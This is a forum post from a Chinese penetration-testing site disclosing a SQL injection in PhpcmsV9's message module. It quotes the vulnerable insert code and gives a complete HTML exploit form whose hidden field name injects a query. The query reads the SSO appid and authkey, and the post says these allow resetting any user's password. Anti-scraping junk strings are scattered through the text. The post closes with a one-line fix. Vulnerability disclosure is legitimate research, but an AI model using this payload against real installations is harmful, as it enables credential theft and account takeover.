中国网络渗透测试联盟
标题:
PhpcmsV9 SQL注射修改任意用户密码漏洞
[打印本页]
作者:
admin
时间:
2013-2-23 11:33
标题:
PhpcmsV9 SQL注射修改任意用户密码漏洞
简要描述:
" T4 i1 @: K4 @" F9 Q
1 b$ K* O' }& L
第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。
+ q3 j- i) _/ K& F
' n0 U6 y3 g" d6 A
明天再更新下一个漏洞。
9 b/ A n, D! ?% {. Z$ W7 h( w
详细说明:
, m1 D E0 t! r$ F8 w- w
在/phpcms9/phpcms/modules/message/index.php中有代码如下:
, E# U3 c, Q, Z# m
/ V2 L% s+ `5 C9 P
$messageid = $this->message_db->insert($_POST['info'],true);
5 M% u: M4 x) ]5 o3 a
y3 Q' I/ C2 H- `
; d$ r: o. Q) l$ ?! D
insert方法是key value的,代码如下:
& n5 X; F1 X' c, X9 C* `
. h2 N# d+ N3 s' r! _% E/ T" n
public function insert($data, $table, $return_insert_id = false, $replace = false) {
5 T5 M- b, l/ P# n. f0 Y$ E" F! J$ ?
if(!is_array( $data ) || $table == '' || count($data) == 0) {
' \ P+ n/ t9 v( V& S
return false;
( ~: E( h- y9 [; _
}
- S0 h- a! E1 a1 P `+ R
, q& H a2 m3 L+ w! R' f' M" |
$fielddata = array_keys($data);
) e! f, e4 E% `. ?" Y
$valuedata = array_values($data);
- @$ c. Y) D: H
array_walk($fielddata, array($this, 'add_special_char'));
% `9 V8 W8 e0 x2 y5 B$ f
array_walk($valuedata, array($this, 'escape_string'));
3 x' O: x: R7 I$ @1 ]
) w: h9 z% U) H& u
$field = implode (',', $fielddata);
: }. i. n7 _; Z
$value = implode (',', $valuedata);
5 R/ v4 U ]4 d2 @7 ]
2 w& q/ z) S p
$cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';
( V3 ^" |- }& O
$sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';
" ?7 C; y3 ?2 v9 H: Z5 u
$return = $this->execute($sql);
3 e5 |9 ?" {1 \8 P* ?$ A
return $return_insert_id ? $this->insert_id() : $return;
4 i& K& ]( l: x; m
}
" t6 I* e5 H" n0 `. R
8 O( b: @1 U/ S( H! y
$ w3 P2 B Y+ A
嗯,很遗憾的是
$ C' t+ Y) e- o# q0 K9 C: W
+ } {8 n- _: R" O' I
array_walk($fielddata, array($this, 'add_special_char'));
/ v/ O5 F$ ~6 M1 b; y- w
+ Q' j) V& f" V" C& D- \
9 A1 v& D& P& o$ Z$ v- X
中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。
, v( u0 Z; a/ {! N" e% S5 | O
5 o) Z7 S, T- j
到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。
n7 |; g( {" r0 c! v
/ o w' ?9 a* X' Y
漏洞证明:
* c; G; Y. h* |# m' Z3 z \
读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。
; @2 x4 ^/ D. M) q' k8 ~
[attach]200[/attach]
& s2 e( x6 g/ f) T, f: O& d8 p
3 K8 h9 y! T# p- s- O
表单如下:用户名什么的得自己改一改。
7 u6 K$ O# H4 N X3 X
<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">
5 r8 f7 s" ^! U) b
<table width="100%" cellspacing="0" class="table_form">
& \: R8 I* z5 }
<tr>
- X/ J! X6 }8 @- X# f ~# a
<th>标 题:</th>
! x. Q+ v s+ m0 d
<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh" class="input-text"/></td>
4 F4 O, W7 {0 e6 P
</tr>
) c4 D/ g8 F2 U1 w K* T
<tr>
$ G5 H+ B3 q$ O* M C/ i* Q
<th>内 容:</th>
: ~ L- T) X1 H
<td><textarea name="info[content]" id="con" rows="5" cols="50"></textarea></td>
0 _7 z! o3 g. e+ w ^
</tr>
- Q+ h6 e+ Z, Z5 M1 ] m; c: }
<input type="hidden" name="info[replyid]" value="2" />
8 I S- c# E3 o+ E& e
<input type="hidden" name="info[send_to_id]" value="cc" />
4 u' q5 ~8 t) }3 P! A* N
<input type="hidden" name="info[send_from_id]" value="hh">
/ S. U2 H/ q( ^% F$ l+ z& {2 ]
<!-- 漏洞的利用重点在这里开始 -->
! w+ }* @5 H$ ^- @9 G+ ^3 `
<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" />
" b6 ]9 V+ g$ z @' f
<!-- 漏洞的利用重点在这里结束 -->
4 ~7 L# m! k1 H& g: ]8 h
<tr>
: }* C9 i; A, Q5 N/ m, ^" H, _
<th>验证码:</th>
& s4 p9 s2 U" b8 N/ a
<td><input name="code" type="text" id="code" size="10" class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>
4 s* N# n& D5 E, _
</tr>
5 Z# u c8 E+ |1 f# @
<tr>
8 j. `, P0 G- H& \( S; f/ y
<td></td>
|" O/ A. F4 B0 p* p: q
<td colspan="2"><label>
7 ] V( P U' F3 E8 O2 m$ t! y
<input type="submit" name="
dos
ubmit" id="dosubmit" value="确 定" class="button"/>
- S! k0 ?+ u" p) ^' s
</label></td>
2 `" t& q$ w# [7 q5 F4 O3 Q
</tr>
& w1 b2 |5 x8 ]- R) _) ~
</table>
! M' A, t( Q' S! E6 c7 a; H. v
</form>
4 T& x7 p9 e# W/ q/ V
在add_special_char函数内对key做过滤就可以了。
! D' Z2 e& N( G: k3 z/ |6 _5 y
* Y& d, h* y6 ?9 s5 F7 D( Z# U
" v, M8 A8 b1 h9 ]
* h6 r" A6 U. U( e
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2